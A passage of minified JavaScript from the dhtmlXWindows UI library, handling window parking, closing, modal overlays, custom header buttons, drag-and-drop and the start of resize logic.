dhxwin_hdr_parked\";if(a==false||this.conf.tr.prop==false){c.hdr.style.zIndex=3}c.conf.parked=true;c.conf.tr_mode=\"park\";this._winCellSetOpacity(e,\"close\",a);this._winSetSize(e,c.conf.w,c.hdr.offsetHeight+this.conf.ofs_h,(a==true&&this.conf.tr.prop!==false));if(!(a==true&&this.conf.tr.prop!==false)){this._callMainEvent(\"onParkUp\",e)}if(window.dhx4.isIE8==true&&this.conf.tr.prop==false&&c.cell.cell.className.match(/dhxwin_parked/)==null){c.cell.cell.className+=\" dhxwin_parked\"}}c=null};dhtmlXWindows.prototype._winCellSetOpacity=function(m,l,e,h){var c=this.w[m].cell;for(var g in c.conf.idx){if({pr1:true,pr2:true}[g]!=true){if(e==true&&this.conf.tr.prop!=false){c.cell.childNodes[c.conf.idx[g]].style[this.conf.tr.prop]=this.conf.tr[\"op_\"+l]}c.cell.childNodes[c.conf.idx[g]].style.opacity=this.conf.tr[\"op_v_\"+l]}}c=null};dhtmlXWindows.prototype._winCellClearOpacity=function(g){var c=this.w[g].cell;for(var e in c.conf.idx){if({pr1:true,pr2:true}[e]!=true){if(this.conf.tr.prop!=false){c.cell.childNodes[c.conf.idx[e]].style[this.conf.tr.prop]=\"\"}}}c=null};dhtmlXWindows.prototype._winStick=function(c,a){if(typeof(a)!=\"undefined\"&&this.w[c].conf.sticked==a){return}this.w[c].conf.sticked=!this.w[c].conf.sticked;this.w[c].b.stick.setCss(this.w[c].conf.sticked?\"sticked\":\"stick\");this._winMakeActive(this.conf.last_active,true);if(this.w[c].conf.sticked){this._callMainEvent(\"onStick\",c)}else{this._callMainEvent(\"onUnStick\",c)}};dhtmlXWindows.prototype._winClose=function(g){if(this._callMainEvent(\"onClose\",g)!==true&&this.conf.unloading!=true){return}var e=this.w[g];if(e.conf.fs_mode){e.cell.setToFullScreen(false)}if(e.conf.modal){this._winSetModal(g,false)}window.dhx4.zim.clear(e.conf.z_id);if(this.cm!=null&&this.cm.icon[g]!=null){this._detachContextMenu(\"icon\",g,null)}if(typeof(window.addEventListener)==\"function\"){e.win.removeEventListener(\"mousedown\",this._winOnMouseDown,false);e.win.removeEventListener(\"mouseup\",this._winOnMouseDown,false);if(this.conf.dblclick_ev){e.win.removeEventListener(\"dblclick\",this._winOnMouseDown,false)}if(this.conf.dnd_enabled==true&&window.dhx4.dnd.evs.start!=null){e.win.removeEventListener(window.dhx4.dnd.evs.start,this._winOnMouseDown,false);if(window.dhx4.dnd.p_en!=true){e.win.removeEventListener(window.dhx4.dnd.evs.start,this._winOnMouseDown,false);e.win.removeEventListener(window.dhx4.dnd.evs.end,this._winOnMouseDown,false)}}}else{e.win.detachEvent(\"onmousedown\",this._winOnMouseDown);e.win.detachEvent(\"onmouseup\",this._winOnMouseDown);if(this.conf.dblclick_ev){e.win.attachEvent(\"ondblclick\",this._winOnMouseDown)}}for(var c in e.b){this._winRemoveButton(g,c,true)}e.b=null;e.cell._unload();e.cell=null;e.brd.parentNode.removeChild(e.brd);e.brd=null;if(e.fr_cover!=null){e.fr_cover.parentNode.removeChild(e.fr_cover);e.fr_cover=null}if(e.fr_m_cover!=null){e.fr_m_cover.parentNode.removeChild(e.fr_m_cover);e.fr_m_cover=null}e.hdr._isWinHdr=true;e.hdr.firstChild._isWinIcon=true;e.hdr.onselectstart=null;e.hdr.parentNode.removeChild(e.hdr);e.hdr=null;for(var c in e.conf){e.conf[c]=null;delete e.conf[c]}e.conf=null;e.win._idd=null;e.win._isWindow=null;e.win.parentNode.removeChild(e.win);e.win=null;e=null;this.w[g]=null;delete this.w[g];if(!this.conf.unloading){this._winMakeActive(null,true)}};dhtmlXWindows.prototype._winSetModal=function(m,g,l){if(this.w[m].conf.modal==g){return}if(typeof(l)==\"undefined\"){l=true}var e=this.w[m];if(g==true&&e.conf.modal==false){if(this.conf.last_modal!=null){this._winSetModal(this.conf.last_modal,false,false)}if(this.mcover==null){var h=document.createElement(\"DIV\");h.className=\"dhxwins_mcover\";this.vp.insertBefore(h,e.fr_m_cover||e.win);this.mcover={d:h};if(this.conf.fr_cover){this.mcover.f=document.createElement(\"IFRAME\");this.mcover.f.className=\"dhxwins_mcover\";this.mcover.f.border=0;this.mcover.f.frameBorder=0;this.vp.insertBefore(this.mcover.f,h)}h=null}else{if(this.mcover.d.nextSibling!=(e.fr_m_cover||e.win)){this.vp.insertBefore(this.mcover.d,e.fr_m_cover||e.win);if(this.mcover.f!=null){this.vp.insertBefore(this.mcover.f,this.mcover.d)}}}e.conf.modal=true;this.conf.last_modal=m;this._winMakeActive(m,true)}else{if(g==false&&e.conf.modal==true){e.conf.modal=false;this.conf.last_modal=null;if(l&&this.mcover!=null){for(var c in this.mcover){this.vp.removeChild(this.mcover[c]);this.mcover[c]=null}this.mcover=null}}}e=null};dhtmlXWindows.prototype._winMouseDownHandler=function(g,c){var a=g.target||g.srcElement;if(g.button>=2){return}if(c.mode==\"button\"){if(c.press_type==\"mousedown\"){this.conf.button_last=c.button_name}else{if((c.press_type==\"mouseup\"&&c.button_name==this.conf.button_last)||c.press_type==\"MSPointerDown\"||c.press_type==\"pointerdown\"){this.conf.button_last=null;if(this._winButtonClick(c.id,c.button_name,g)!==true){return}}}}if((c.press_type==\"mousedown\"||c.press_type==\"dblclick\")&&c.mode==\"hdr\"){this.conf.dblclick_active=false;if(this.conf.dblclick_ev==true){if(c.press_type==\"dblclick\"){this.conf.dblclick_active=true}}else{if(this.conf.dblclick_last==null){this.conf.dblclick_last=new Date().getTime();this.dblclick_id=c.id}else{var a=new Date().getTime();if(this.conf.dblclick_last+this.conf.dblclick_tm>a&&this.dblclick_id==c.id){this.conf.dblclick_active=true;this.conf.dblclick_last=null;this.dblclick_id=null}else{this.conf.dblclick_last=a;this.dblclick_id=c.id}}}if(this.conf.dblclick_active){this._winDoHeaderDblClick(c.id);return}}if(c.press_type==\"mousedown\"||(c.press_type==window.dhx4.dnd.evs.start)){this._winMakeActive(c.id)}if(c.press_type==\"touchend\"){}};dhtmlXWindows.prototype._winDoHeaderDblClick=function(a){if(this.conf.dblclick_mode==\"minmax\"){this._winMinmax(a);return}if(this.conf.dblclick_mode==\"park\"){this._winPark(a,true);return}if(typeof(this.conf.dblclick_mode)==\"function\"){this.conf.dblclick_mode.apply(window,[a]);return}if(typeof(window[this.conf.dblclick_mode])==\"function\"){window[this.conf.dblclick_mode].apply(window,[a]);return}};dhtmlXWindows.prototype._winAdjustCell=function(c){var q=this.w[c];var o=1;var n=(q.conf.header?q.hdr.offsetHeight:1);var g=q.win.clientWidth-2;var r=q.win.clientHeight-n-1;q.brd.style.left=o+\"px\";q.brd.style.top=n+\"px\";if(q.conf.brd==null){q.brd.style.width=g+\"px\";q.brd.style.height=r+\"px\";q.conf.brd={w:g-q.brd.offsetWidth,h:r-q.brd.offsetHeight}}q.brd.style.width=g+q.conf.brd.w+\"px\";q.brd.style.height=r+q.conf.brd.h+\"px\";var e=5;var a=1+e;var m=(q.conf.header?n:n+e);var h=q.brd.clientWidth;var l=q.brd.clientHeight;q.cell._setSize(a,m,h,l);q.fr_cover.style.left=a+\"px\";q.fr_cover.style.top=m+\"px\";q.fr_cover.style.width=h+\"px\";q.fr_cover.style.height=l+\"px\";q=null};dhtmlXWindows.prototype._winAdjustTitle=function(g){var a=this.w[g].hdr.childNodes[0];var e=this.w[g].hdr.childNodes[1];var c=this.w[g].hdr.childNodes[2];e.style.paddingLeft=a.offsetWidth+12+\"px\";e.style.paddingRight=c.offsetWidth+10+\"px\";e=c=a=null};dhtmlXWindows.prototype._callMainEvent=function(c,g){var a=this.w[g];if(a.cell.checkEvent(c)){var e=a.cell._callMainEvent(c,[a.cell])}else{var e=this.callEvent(c,[a.cell])}a=null;return e};dhtmlXWindows.prototype._winInitFRM=function(e){if(this.conf.fr_cover!=true){return}var a=this.w[e];var c=document.createElement(\"IFRAME\");c.className=\"dhxwin_main_fr_cover\";c.border=0;c.frameBorder=0;c.style.zIndex=a.win.style.zIndex;a.win.parentNode.insertBefore(c,a.win);a.fr_m_cover=c;c=null};dhtmlXWindows.prototype._winAdjustFRMSize=function(c){var a=this.w[c];if(a.fr_m_cover!=null){a.fr_m_cover.style.width=a.conf.w+\"px\";a.fr_m_cover.style.height=a.conf.h+\"px\"}a=null};dhtmlXWindows.prototype._winAdjustFRMPosition=function(c){var a=this.w[c];if(a.fr_m_cover!=null){a.fr_m_cover.style.left=a.win.style.left;a.fr_m_cover.style.top=a.win.style.top}a=null};dhtmlXWindows.prototype._winAdjustFRMZIndex=function(c){var a=this.w[c];if(a.fr_m_cover!=null){a.fr_m_cover.style.zIndex=a.win.style.zIndex}a=null};function dhtmlXWindowsCell(h,g){dhtmlXCellObject.apply(this,[h,\"_wins\"]);this.wins=g;this.cell._winId=h;this.conf.skin=this.wins.conf.skin;this.attachEvent(\"_onCellUnload\",function(){if(this._unloadResize){this._unloadResize()}window.dhx4._eventable(this.cell,\"clear\");this.cell._winId=null;this.wins=null;this.setText=null;this.getText=null;this.allowMove=null;this.denyMove=null;this.isMovable=null;this.allowResize=null;this.denyResize=null;this.isResizable=null;this.maximize=null;this.minimize=null;this.isMaximized=null;this.setPosition=null;this.getPosition=null;this.adjustPosition=null;this.park=null;this.isParked=null;this.allowPark=null;this.denyPark=null;this.isParkable=null;this.show=null;this.hide=null;this.isHidden=null;this.stick=null;this.unstick=null;this.isSticked=null;this.setDimension=null;this.getDimension=null;this.setMinDimension=null;this.getMinDimension=null;this.setMaxDimension=null;this.getMaxDimension=null;this.keepInViewport=null;this.center=null;this.centerOnScreen=null;this.bringToTop=null;this.bringToBottom=null;this.isOnTop=null;this.isOnBottom=null;this.showHeader=null;this.hideHeader=null;this.setModal=null;this.isModal=null;this.close=null;this._adjustByCont=null;this.button=null;this.addUserButton=null;this.removeUserButton=null;e=null});this.attachEvent(\"_onContentLoaded\",function(){this.wins._callMainEvent(\"onContentLoaded\",this._idd)});this.attachEvent(\"_onContentMouseDown\",function(l,a){this.wins.callEvent(\"_winMouseDown\",[a,{id:l,mode:\"win\"}])});this._callMainEvent=function(l,a){return this.callEvent(l,a)};this.conf.tr={};for(var c in this.wins.conf.tr){this.conf.tr[c]=this.wins.conf.tr[c]}if(this.conf.tr.prop!=false){}if(this._initResize){this._initResize()}window.dhx4._eventable(this.cell);var e=this;this.cell.attachEvent(\"_setCellSize\",function(a,n){var l=e.wins.w[this._winId].conf.w-e.conf.size.w;var m=e.wins.w[this._winId].conf.h-e.conf.size.h;e.setDimension(a+l,n+m)});return this}dhtmlXWindowsCell.prototype=new dhtmlXCellObject();dhtmlXWindowsCell.prototype.setText=function(a){this.wins.w[this._idd].conf.text=a;this.wins.w[this._idd].hdr.childNodes[1].firstChild.innerHTML=a};dhtmlXWindowsCell.prototype.getText=function(){return this.wins.w[this._idd].conf.text};dhtmlXWindowsCell.prototype.allowMove=function(){this.wins.w[this._idd].conf.allow_move=true};dhtmlXWindowsCell.prototype.denyMove=function(){this.wins.w[this._idd].conf.allow_move=false};dhtmlXWindowsCell.prototype.isMovable=function(){return(this.wins.w[this._idd].conf.allow_move==true)};dhtmlXWindowsCell.prototype.allowResize=function(){this.wins.w[this._idd].conf.allow_resize=true;this.wins.w[this._idd].b.minmax.enable()};dhtmlXWindowsCell.prototype.denyResize=function(){this.wins.w[this._idd].conf.allow_resize=false;this.wins.w[this._idd].b.minmax.disable()};dhtmlXWindowsCell.prototype.isResizable=function(){return(this.wins.w[this._idd].conf.allow_resize==true)};dhtmlXWindowsCell.prototype.maximize=function(){this.wins._winMinmax(this._idd,true)};dhtmlXWindowsCell.prototype.minimize=function(){this.wins._winMinmax(this._idd,false)};dhtmlXWindowsCell.prototype.isMaximized=function(){return(this.wins.w[this._idd].conf.maxed==true)};dhtmlXWindowsCell.prototype.setPosition=function(a,c){this.wins._winSetPosition(this._idd,a,c)};dhtmlXWindowsCell.prototype.getPosition=function(){var a=this.wins.w[this._idd];var c=[a.conf.x,a.conf.y];a=null;return c};dhtmlXWindowsCell.prototype.adjustPosition=function(){this.wins._winAdjustPosition(this._idd)};dhtmlXWindowsCell.prototype.park=function(){this.wins._winPark(this._idd,true)};dhtmlXWindowsCell.prototype.isParked=function(){return(this.wins.w[this._idd].conf.parked==true)};dhtmlXWindowsCell.prototype.allowPark=function(){this.wins.w[this._idd].conf.allow_park=true;this.wins.w[this._idd].b.park.enable()};dhtmlXWindowsCell.prototype.denyPark=function(){this.wins.w[this._idd].conf.allow_park=false;this.wins.w[this._idd].b.park.disable()};dhtmlXWindowsCell.prototype.isParkable=function(){return(this.wins.w[this._idd].conf.allow_park==true)};dhtmlXWindowsCell.prototype.show=function(a){this.wins._winShow(this._idd,window.dhx4.s2b(a))};dhtmlXWindowsCell.prototype.hide=function(){this.wins._winHide(this._idd)};dhtmlXWindowsCell.prototype.isHidden=function(){return(this.wins.w[this._idd].conf.visible!=true)};dhtmlXWindowsCell.prototype.stick=function(){this.wins._winStick(this._idd,true)};dhtmlXWindowsCell.prototype.unstick=function(){this.wins._winStick(this._idd,false)};dhtmlXWindowsCell.prototype.isSticked=function(){return(this.wins.w[this._idd].conf.sticked==true)};dhtmlXWindowsCell.prototype.setDimension=function(e,a){var c=this.wins.w[this._idd];if(c.conf.parked){this.wins._winPark(this._idd,false)}if(c.conf.maxed){if(e!=null){c.conf.lastMW=e}if(a!=null){c.conf.lastMH=a}this.wins._winMinmax(this._idd)}else{this.wins._winSetSize(this._idd,e,a,false,true)}c=null};dhtmlXWindowsCell.prototype.getDimension=function(){var a=this.wins.w[this._idd];var c=[a.conf.w,a.conf.h];a=null;return c};dhtmlXWindowsCell.prototype.setMinDimension=function(e,a){var c=this.wins.w[this._idd];c.conf.min_w=e;c.conf.min_h=a;this.wins._winSetSize(this._idd,c.conf.w,c.conf.h);c=null};dhtmlXWindowsCell.prototype.getMinDimension=function(){var a=this.wins.w[this._idd];var c=[a.conf.min_w,a.conf.min_h];a=null;return c};dhtmlXWindowsCell.prototype.setMaxDimension=function(e,a){var c=this.wins.w[this._idd];c.conf.max_w=e;c.conf.max_h=a;this.wins._winSetSize(this._idd,c.conf.w,c.conf.h);c=null};dhtmlXWindowsCell.prototype.getMaxDimension=function(){var a=this.wins.w[this._idd];var c=[a.conf.max_w,a.conf.max_h];a=null;return c};dhtmlXWindowsCell.prototype.keepInViewport=function(a){this.wins.w[this._idd].conf.keep_in_vp=window.dhx4.s2b(a)};dhtmlXWindowsCell.prototype.center=function(){var e=this.wins.vp;var c=this.wins.w[this._idd];var a=Math.round((e.clientWidth-c.conf.w)/2);var g=Math.round((e.clientHeight-c.conf.h)/2);this.wins._winSetPosition(this._idd,a,g);e=c=null};dhtmlXWindowsCell.prototype.centerOnScreen=function(){var c=this.wins.w[this._idd];var l=window.dhx4.screenDim();var h=window.dhx4.absLeft(this.wins.vp);var g=window.dhx4.absTop(this.wins.vp);var e=this.wins.vp.parentNode;while(e!=null){if(e.scrollLeft){h=h-e.scrollLeft}if(e.scrollTop){g=g-e.scrollTop}e=e.parentNode}var a=Math.round((l.right-l.left-c.conf.w)/2);var m=Math.round((l.bottom-l.top-c.conf.h)/2);this.wins._winAdjustPosition(this._idd,a-h,m-g);d=c=null};dhtmlXWindowsCell.prototype.bringToTop=function(){this.wins._winMakeActive(this._idd,true)};dhtmlXWindowsCell.prototype.bringToBottom=function(){var a=(this.wins.w[this._idd].conf.actv?null:this.wins.conf.last_active);window.dhx4.zim.clear(this.wins.w[this._idd].conf.z_id);this.wins.w[this._idd].win.style.zIndex=0;this.wins._winMakeActive(a,true)};dhtmlXWindowsCell.prototype.isOnTop=function(){return(this.wins.w[this._idd].conf.actv==true)};dhtmlXWindowsCell.prototype.isOnBottom=function(){var e={id:null,z:+Infinity};for(var c in this.wins.w){if(this.wins.w[c].conf.visible&&this.wins.w[c].win.style.zIndex<e.z){e.id=c;e.z=this.wins.w[c].win.style.zIndex}}return(e.id==this._idd)};dhtmlXWindowsCell.prototype.showHeader=function(){var a=this.wins.w[this._idd];if(a.conf.header==false){a.hdr.className=String(a.hdr.className).replace(/\\s{0,}dhxwin_hdr_hidden/gi,\"\");a.brd.className=String(a.brd.className).replace(/\\s{0,}dhxwin_hdr_hidden/gi,\"\");this.conf.cells_cont=null;a.conf.brd=null;a.conf.header=true;this.wins._winAdjustCell(this._idd)}a=null};dhtmlXWindowsCell.prototype.hideHeader=function(){var a=this.wins.w[this._idd];if(a.conf.header==true){if(a.conf.parked){this.wins._winPark(this._idd,false)}a.hdr.className+=\" dhxwin_hdr_hidden\";a.brd.className+=\" dhxwin_hdr_hidden\";this.conf.cells_cont=null;a.conf.brd=null;a.conf.header=false;this.wins._winAdjustCell(this._idd)}a=null};dhtmlXWindowsCell.prototype.setModal=function(a){this.wins._winSetModal(this._idd,window.dhx4.s2b(a))};dhtmlXWindowsCell.prototype.isModal=function(){return(this.wins.w[this._idd].conf.modal==true)};dhtmlXWindowsCell.prototype._adjustByCont=function(a,c){a+=this.wins.w[this._idd].conf.w-this.conf.size.w;c+=this.wins.w[this._idd].conf.h-this.conf.size.h;this.wins._winSetSize(this._idd,a,c)};dhtmlXWindowsCell.prototype.close=function(){this.wins._winClose(this._idd)};dhtmlXWindowsCell.prototype.setIconCss=function(a){this.wins.w[this._idd].hdr.firstChild.className=\"dhxwin_icon \"+a;this.wins._winAdjustTitle(this._idd)};dhtmlXWindowsCell.prototype.setToFullScreen=function(c){c=window.dhx4.s2b(c);var a=this.wins.w[this._idd];if(a.conf.fs_mode==c){a=null;return}if(this.wins.fsn==null){this.wins.fsn=document.createElement(\"DIV\");this.wins.fsn.className=this.wins.vp.className+\" dhxwins_vp_fs\";document.body.appendChild(this.wins.fsn)}if(c){this.wins.fsn.appendChild(a.win);this.maximize();this.hideHeader()}else{this.wins.vp.appendChild(a.win);this.minimize();this.showHeader();if(this.wins.fsn.childNodes.length==0){this.wins.fsn.parentNode.removeChild(this.wins.fsn);this.wins.fsn=null}}a.conf.fs_mode=c;a=null};dhtmlXWindowsCell.prototype.button=function(a){if(a==\"minmax1\"||a==\"minmax2\"){a=\"minmax\"}return this.wins.w[this._idd].b[a]};dhtmlXWindowsCell.prototype.addUserButton=function(m,l,e){var a=new dhtmlXWindowsButton(this.wins,this._idd,m,e,true);var g=null;var c=this.wins.w[this._idd].hdr.lastChild;if(isNaN(l)){l=0}else{if(l<0){l=0}}if(c.childNodes[l]!=null){g=c.childNodes[l]}if(g!=null){c.insertBefore(a.button,g)}else{c.appendChild(a.button)}this.wins.w[this._idd].b[m]=a;a=g=c=null;this.wins._winAdjustTitle(this._idd)};dhtmlXWindowsCell.prototype.removeUserButton=function(a){if(this.wins.w[this._idd].b[a]==null||this.wins.w[this._idd].b[a].conf.custom!=true){return}this.wins._winRemoveButton(this._idd,a)};window.dhtmlXWindowsButton=function(h,c,a,g,e){this.conf={wins:h,winId:c,name:a,enabled:true,visible:true,custom:true};this.button=document.createElement(\"DIV\");this.button._buttonName=a;this.button.title=g;this.enable=function(){this.conf.enabled=true;this.setCss(this.conf.css)};this.disable=function(){this.conf.enabled=false;this.setCss(this.conf.css)};this.isEnabled=function(){return(this.conf.enabled==true)};this.show=function(){this.button.style.display=\"\";this.conf.visible=true;this.conf.wins._winAdjustTitle(this.conf.winId)};this.hide=function(){this.button.style.display=\"none\";this.conf.visible=false;this.conf.wins._winAdjustTitle(this.conf.winId)};this.isHidden=function(){return(this.conf.visible==false)};this.setCss=function(m){this.conf.css=m;var l=(this.conf.enabled?\"\":\"_dis\");this.button.className=\"dhxwin_button\"+l+\" dhxwin_button_\"+this.conf.css+l};this._doOnClick=function(l){return this.callEvent(\"onClick\",[this.conf.wins.w[this.conf.winId].cell,this])};this.unload=function(l){dhx4._eventable(this,\"clear\");this.button._buttonName=null;this.button.parentNode.removeChild(this.button);if(this.conf.wins.cm!=null&&this.conf.wins.cm.button[this.conf.winId]!=null&&this.conf.wins.cm.button[this.conf.winId][this.conf.name]!=null){this.conf.wins._detachContextMenu(\"button\",this.conf.winId,this.conf.name)}this.button=null;this.enable=null;this.disable=null;this.isEnabled=null;this.show=null;this.hide=null;this.isHidden=null;this.setCss=null;this.unload=null;if(l!=true){this.conf.wins._winAdjustTitle(this.conf.winId)}this.conf.wins=null;this.conf.winId=null;this.conf=null};this.setCss(a);dhx4._eventable(this);return this};dhtmlXWindows.prototype._winButtonClick=function(e,a,c){if(!this.w[e].b[a].isEnabled()){return true}if(this.w[e].b[a]._doOnClick()!==true){return}if(a==\"help\"){this._callMainEvent(\"onHelp\",e)}if(a==\"park\"){this._winPark(e,true)}if(a==\"minmax\"){this._winMinmax(e)}if(a==\"stick\"){this._winStick(e);return false}if(a==\"close\"){this._winClose(e);return false}return true};dhtmlXWindows.prototype._winRemoveButton=function(e,a,c){this.w[e].b[a].unload(c);this.w[e].b[a]=null;delete this.w[e].b[a]};dhtmlXWindows.prototype._dndInitModule=function(){var a=this;this.conf.dnd_enabled=true;this.conf.dnd_tm=null;this.conf.dnd_time=0;this._dndOnMouseDown=function(h,l){if(a.conf.dblclick_active){return}if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}if(a._callMainEvent(\"onBeforeMoveStart\",l)!==true){return}a.conf.dnd={id:l,x:a._dndPos(h,\"X\"),y:a._dndPos(h,\"Y\"),ready:true,css:false,css_touch:false,css_vp:false,tr:null,mode:\"def\",moved:false,prevent:false};if(a.w[l].conf.keep_in_vp){a.conf.dnd.minX=0;a.conf.dnd.maxX=a.vp.clientWidth-a.w[l].conf.w;a.conf.dnd.minY=0;a.conf.dnd.maxY=a.vp.clientHeight-a.w[l].conf.h}else{a.conf.dnd.minX=-a.w[l].conf.w+a.conf.vp_pos_ofs;a.conf.dnd.maxX=a.vp.clientWidth-a.conf.vp_pos_ofs;a.conf.dnd.minY=0;a.conf.dnd.maxY=a.vp.clientHeight-a.conf.vp_pos_ofs}var c=[\"MozTransform\",\"WebkitTransform\",\"OTransform\",\"msTransform\",\"transform\"];for(var g=0;g<c.length;g++){if(document.documentElement.style[c[g]]!=null&&a.conf.dnd.tr==null){a.conf.dnd.tr=c[g];a.conf.dnd.mode=\"tr\"}}if(a.conf.dnd.mode==\"tr\"){a.w[l].win.style[a.conf.dnd.tr]=\"translate(0px,0px)\"}if(window.dhx4.dnd._mTouch(h)==false&&h.type==window.dhx4.dnd.evs.start){if(a.conf.dnd.css_touch==false){a.w[l].win.className+=\" dhxwin_dnd_touch\";a.conf.dnd.css_touch=true}if(a.conf.dnd.css_vp==false){a.vp.className+=\" dhxwins_vp_dnd\";a.conf.dnd.css_vp=true}}else{a._dndInitEvents()}};this._dndOnMouseMove=function(l){l=l||event;var h=a.conf.dnd;var c=a._dndPos(l,\"X\")-h.x;var m=a._dndPos(l,\"Y\")-h.y;if(l.type==window.dhx4.dnd.evs.move){if(h.moved!=true&&(Math.abs(c)>20||Math.abs(m)>20)){if(a.conf.dnd_tm!=null){window.clearTimeout(a.conf.dnd_tm);a.conf.dnd_tm=null}window.removeEventListener(window.dhx4.dnd.evs.start,a._dndOnMouseMove,false);return}}if(h.ready!=true){return}var g=a.w[h.id];if(l.preventDefault){l.preventDefault()}else{l.returnValue=false}if(h.css!=true){if(h.css_touch==false){g.win.className+=\" dhxwin_dnd\"}g.fr_cover.className+=\" dhxwin_fr_cover_dnd\";h.css=true}if(h.css_vp!=true){a.vp.className+=\" dhxwins_vp_dnd\";h.css_vp=true}h.newX=g.conf.x+c;h.newY=g.conf.y+m;if(h.mode==\"tr\"){h.newX=Math.min(Math.max(h.newX,h.minX),h.maxX);c=h.newX-g.conf.x;h.newY=Math.min(Math.max(h.newY,h.minY),h.maxY);m=h.newY-g.conf.y;g.win.style[h.tr]=\"translate(\"+c+\"px,\"+m+\"px)\"}else{if(h.newX<h.minX||h.newX>h.maxX){h.newX=Math.min(Math.max(h.newX,h.minX),h.maxX)}else{h.x=a._dndPos(l,\"X\")}if(h.newY<h.minY||h.newY>h.maxY){h.newY=Math.min(Math.max(h.newY,h.minY),h.maxY)}else{h.y=a._dndPos(l,\"Y\")}a._winSetPosition(h.id,h.newX,h.newY)}h.moved=true;g=h=null};this._dndOnMouseUp=function(h){h=h||event;if(a.conf.dnd!=null){var g=a.conf.dnd;var c=a.w[g.id];if(g.newX!=null){if(g.mode==\"tr\"){a._winSetPosition(g.id,g.newX,g.newY);c.win.style[g.tr]=\"translate(0px,0px)\"}}if(g.css==true){if(g.css_touch==false){c.win.className=String(c.win.className).replace(/\\s{0,}dhxwin_dnd/gi,\"\")}c.fr_cover.className=String(c.fr_cover.className).replace(/\\s{0,}dhxwin_fr_cover_dnd/gi,\"\")}if(g.css_touch==true){c.win.className=String(c.win.className).replace(/\\s{0,}dhxwin_dnd_touch/gi,\"\")}if(g.css_vp==true){a.vp.className=String(a.vp.className).replace(/\\s{0,}dhxwins_vp_dnd/gi,\"\")}a._dndUnloadEvents();if(g.moved==true){a._callMainEvent(\"onMoveFinish\",g.id)}else{a._callMainEvent(\"onMoveCancel\",g.id)}c=g=a.conf.dnd=null}if(window.dhx4.dnd.p_en==true&&h.type==window.dhx4.dnd.evs.end){window.dhx4.dnd._touchOn();window.removeEventListener(window.dhx4.dnd.evs.end,a._dndOnMouseUp,false);window.removeEventListener(window.dhx4.dnd.evs.move,a._dndOnMouseMove,false);if(a.conf.dnd_tm!=null){window.clearTimeout(a.conf.dnd_tm)}a.conf.dnd_tm=null}};this._dndOnSelectStart=function(c){c=c||event;if(c.preventDefault){c.preventDefault()}else{c.returnValue=false}return false};this._dndInitEvents=function(){if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"mousemove\",this._dndOnMouseMove,false);window.addEventListener(\"mouseup\",this._dndOnMouseUp,false);window.addEventListener(\"selectstart\",this._dndOnSelectStart,false)}else{document.body.attachEvent(\"onmousemove\",this._dndOnMouseMove);document.body.attachEvent(\"onmouseup\",this._dndOnMouseUp);document.body.attachEvent(\"onselectstart\",this._dndOnSelectStart)}};this._dndUnloadEvents=function(){if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousemove\",this._dndOnMouseMove,false);window.removeEventListener(\"mouseup\",this._dndOnMouseUp,false);window.removeEventListener(\"selectstart\",this._dndOnSelectStart,false)}else{document.body.detachEvent(\"onmousemove\",this._dndOnMouseMove);document.body.detachEvent(\"onmouseup\",this._dndOnMouseUp);document.body.detachEvent(\"onselectstart\",this._dndOnSelectStart)}};this._dndUnloadModule=function(){this.detachEvent(this.conf.dnd_evid);this.conf.dnd_evid=null;this._dndOnMouseDown=null;this._dndOnMouseMove=null;this._dndOnMouseUp=null;this._dndOnSelectStart=null;this._dndInitEvents=null;this._dndUnloadEvents=null;this._dndInitModule=null;this._dndUnloadModule=null;a=null};this._dndPos=function(e,c){var g=e[this.conf.dnd_ev_prefix+c];if((g==null||g==0)&&e.touches!=null){g=e.touches[0][this.conf.dnd_ev_prefix+c]}return g};this.conf.dnd_evid=this.attachEvent(\"_winMouseDown\",function(g,c){if(this.w[c.id]==null||this.w[c.id].conf.allow_move!=true){return}if(g.type==window.dhx4.dnd.evs.start){if(c.mode==\"hdr\"){if(this.w[c.id].conf.maxed&&this.w[c.id].conf.max_w==null&&this.w[c.id].conf.max_h==null){return}this.conf.dnd_ev_prefix=\"page\";this.conf.dnd={x:this._dndPos(g,\"X\"),y:this._dndPos(g,\"Y\")};if(this.conf.dnd_time<1){this._dndOnMouseDown(g,c.id)}else{if(this.conf.dnd_tm!=null){window.clearTimeout(this.conf.dnd_tm)}this.conf.dnd_tm=window.setTimeout(function(){a._dndOnMouseDown(g,c.id)},this.conf.dnd_time)}if(window.dhx4.dnd.p_en==true){window.dhx4.dnd._touchOff();window.addEventListener(window.dhx4.dnd.evs.end,this._dndOnMouseUp,false)}window.addEventListener(window.dhx4.dnd.evs.move,this._dndOnMouseMove,false)}return false}if(g.type==window.dhx4.dnd.evs.end){if(this.conf.dnd_tm!=null){window.clearTimeout(this.conf.dnd_tm);this.conf.dnd_tm=null}this._dndOnMouseUp(g);window.removeEventListener(window.dhx4.dnd.evs.move,this._dndOnMouseMove,false);return false}if(g.button>=2){return}this.conf.dnd_ev_prefix=\"client\";if(!(c.mode==\"hdr\"&&g.type==\"mousedown\")){return}if(this.w[c.id].conf.maxed&&this.w[c.id].conf.max_w==null&&this.w[c.id].conf.max_h==null){return}if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}this._dndOnMouseDown(g,c.id);return false})};dhtmlXWindowsCell.prototype._initResize=function(){var a=this;var c=navigator.userAgent;this.conf.resize={b_width:6,c_type:(c.indexOf(\"MSIE 10.0\")>0||c.indexOf(\"MSIE 9.0\")>0||c.indexOf(\"MSIE 8.0\")>0||c.indexOf(\"MSIE 7.0\")>0||c.indexOf(\"MSIE 6.0\")>0)};this._rOnCellMouseMove=function(n){if(a.wins.conf.resize_actv==true||a.wins.w[a._idd].conf.allow_resize==false||a.conf.progress==true||a.wins.w[a._idd].conf.maxed==true||a.wins.w[a._idd].conf.fs_mode==true){var l=a.wins.w[a._idd].brd;if(l.style.cursor!=\"default\"){l.style.cursor=\"default\"}l=null;return}n=n||event;var v=a.wins.w[a._idd].brd;var g=a.conf.resize;var q=(a.wins.w[a._idd].conf.header==false);var s=n.clientX;var o=n.clientY;var h=window.dhx4.absLeft(v);var u=window.dhx4.absTop(v);var 